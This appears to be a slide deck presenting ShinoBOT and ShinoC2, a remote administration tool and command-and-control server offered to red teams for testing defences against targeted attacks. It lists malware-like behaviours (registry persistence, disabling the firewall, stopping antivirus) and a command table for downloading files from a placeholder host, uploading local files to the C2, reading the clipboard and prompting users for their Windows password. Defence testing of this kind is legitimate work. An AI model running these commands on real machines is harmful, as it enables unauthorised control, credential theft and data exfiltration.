ShinoBOT
ShinoC2
Can you prevent APT like me?
- the pentest tool to measure the defense against APT/RAT -

Author: Shota Shinogi
Name: Shota Shinogi pronounce: Žota Žinogi

@sh1n0g1

work in the Security Research Center of Macnica Networks Corp., Japan.

a Japanese disty of security products

my carrer of security

2004
HDD Encryption (SafeBoot)

2007
Personal Firewall (Sygate)

2009
Host DLP (McAfee Host DLP)

2010
Network IPS (McAfee NSP)

2011
Web App Firewall (Citrix Netscaler)

I’m here 2013

Security Researcher (not product oriented)
Remote Administration Tool
- It connects to ShinoC2; the C&C server, every 10 sec.
- If it get any jobs, it does it immediately.

Supported Platform
- Windows XP/Vista/7 ( + .net framework ≥ 2.x)
- Windows 8, not fully tested yet...

Acts like a malware
- Before doing the job received from ShinoC2, it acts a little bit like a malware.
  - Copy itself in the user home directory C:¥Users¥%user%¥ShinoBOT.exe
  - Add the registry (to start everytime on booting).
    - HKCU¥Software¥Microsoft¥Windows¥Current Version¥Run
  - Disable Windows Firewall
  - Stop Windows Update service
  - Stop the service of McAfee, Symantec Antivirus
ShinoC2 is the Command & Control server for ShinoBOT.

You (red team) can create a job and send it to your ShinoBOT-affected devices.

It has a web GUI so you can manipulate by your favorite browser, smart device, etc.
The steps before “Install” of Kill Chain.. called **PRE-COMPROMISED** phase

<table>
<thead>
<tr>
<th>Phase</th>
<th>Attacker’s Activity</th>
<th>How to prevent</th>
</tr>
</thead>
</table>
| Recon        | • Social Engineering  
               • Collecting info from SNS, press release...  
               • more and more                          | • User Education  
               how about fool users(sigh)               |
| Weaponization| • Using Packer  
               • XOR Crypt  
               • etc for evade AV/IPS                    | • IPS/AV  
               efficient only for the known...         |
| Delivery     | • Send by email  
               • Drive By Download                       | • Gateway Antivirus  
               efficient only for the known...         |
| Exploit      | • Attack the vulnerability of IE,Adobe,Java, etc.                                   | • Patches, patches, patches...  
               how about the zero day attacks??         |

- It is very difficult to prevent those steps perfectly.
- So we have to consider how to prevent the following step...
The following steps called **POST-COMPROMISED** which covered by ShinoBOT

<table>
<thead>
<tr>
<th>Phase</th>
<th>Attacker’s Activity</th>
<th>Coverage of ShinoBOT</th>
</tr>
</thead>
<tbody>
<tr>
<td>Install</td>
<td>• Install RAT</td>
<td></td>
</tr>
<tr>
<td>C&amp;C</td>
<td>• Connect to C&amp;C</td>
<td>ShinoBOT</td>
</tr>
<tr>
<td>Actions on Objective</td>
<td>• Critical data exfiltration</td>
<td></td>
</tr>
</tbody>
</table>

You can use ShinoBOT/ShinoC2 to test your environment to know what’s happen after the success of zero day attacks.
How to setup
一. Download ShinoBOT
二. Run ShinoBOT
三. That’s all.

How to use
一. Access to ShinoC2
二. Click the [HOST] link. Your host will be there.
三. Click [Assign Job]
四. Select the job you want to run on your host.
   (you can also create your job, see the slide “man ShinoC2:job”)
五. Enter the password provided from the GUI of ShinoBOT
七. Wait 10 seconds.
八. Your job will be done.
Demonstration

百聞は一見にしかず
Seeing is believing
It has a GUI?
Yes, ShinoBOT is not a tool for the bad people. So I made ShinoBOT not to become silent. This is also the reason why you need the password to send the job.
SBOTshot: ShinoC2

Shino C&C Server

DESCRIPTION

Here's the C&C Server for SBOTshot client:
the host for measuring your protection against recent cyber attacks.

MENU

HOME
Go back to home screen.

HOST
You can check the status of the affected hosts, and assign a job.

JOB
You can add/remove jobs from the repository.

HOW TO USE

Just 3 steps:
1. Install SBOT on your target machines.
2. With SBOT Server, install ShinoC2.
3. Your machine will connect to ShinoC2.
   You can check it on SBOT menu.

Create a job on ShinoC2.

Assign your job to your machines on the SBOT interface > job.
   You can check the result/concat on the same page.

DISCLAIMER

We have no responsibility for any machines affected by SBOTshot, and any data leakage, any breakage
try AT YOUR OWN RISK.
Anyway, please be careful when trying SBOTshot/ShinoC2.
We recommend not to try it on your production sys.

CONTACT

![Email Icon]

VISITORS

215 Visits
1 Today

![World Map]

Affected PC

![Country Flag]

174 Flag Country

![Server Icon]
You can create your own job by the job menu

**JOB LIST**

You can create a job to running on the ShinoBOT.

**ADD NEW JOB**

<table>
<thead>
<tr>
<th>Name:</th>
<th>Command:</th>
<th>Category:</th>
<th>Description</th>
</tr>
</thead>
</table>

**LIST OF JOBS**

<table>
<thead>
<tr>
<th>ID</th>
<th>Job Name</th>
<th>Category</th>
<th>Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>27</td>
<td>Delete Startup Reg</td>
<td>Autorun</td>
<td>REG DELETE HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run As ShinoBOT /1</td>
</tr>
<tr>
<td>31</td>
<td>Delete Startup Scheduler</td>
<td>Autorun</td>
<td>schtasks /delete /tn ShinoBOT /1</td>
</tr>
<tr>
<td>26</td>
<td>Startup Reg</td>
<td>Autorun</td>
<td>REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v ShinoBOT /t REG_SZ /d C:\ShinoBOT\app.exe</td>
</tr>
<tr>
<td>56</td>
<td>Startup Reg(nosel)</td>
<td>Autorun</td>
<td>REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v ShinoBOT /t REG_SZ /d C:\ShinoBOT\nosel.exe</td>
</tr>
</tbody>
</table>
The “command” will be redirected to cmd.exe except those special commands.

<table>
<thead>
<tr>
<th>Commands</th>
<th>Notes</th>
<th>Examples</th>
</tr>
</thead>
<tbody>
<tr>
<td>SBOTshot</td>
<td>Take a screen shot</td>
<td>SBOTshot</td>
</tr>
<tr>
<td>SBOTwget</td>
<td>Download a file</td>
<td>SBOTwget:<a href="http://www.xxx/aaa.exe">http://www.xxx/aaa.exe</a></td>
</tr>
<tr>
<td>SBOTfget</td>
<td>Upload the local file to C2</td>
<td>SBOTfget:C:\boot.ini</td>
</tr>
<tr>
<td>SBOTrunA</td>
<td>Run a process asynchronous</td>
<td>SBOTrunA:notepad.exe</td>
</tr>
<tr>
<td></td>
<td>*it means ShinoBOT will not</td>
<td></td>
</tr>
<tr>
<td></td>
<td>wait until the process end.</td>
<td></td>
</tr>
<tr>
<td>SBOTmbox</td>
<td>Show a message box</td>
<td>SBOTmbox:hello there</td>
</tr>
<tr>
<td>SBOTibox</td>
<td>Show an input box (you can</td>
<td>SBOTibox:input your windows password</td>
</tr>
<tr>
<td></td>
<td>ask something to the user</td>
<td></td>
</tr>
<tr>
<td>SBOTexit</td>
<td>Kill ShinoBOT</td>
<td>SBOTexit</td>
</tr>
<tr>
<td>SBOTclpb</td>
<td>Get the data from clipboard</td>
<td>SBOTclpb</td>
</tr>
</tbody>
</table>

*All command are case sensitive.
Coming soon...

- Take a snapshot from the webcam.
- Encrypt the C&C channel, not using SSL.
- Encrypt strings in the binary.
- Hide itself by a kernel driver. (become a root-kit)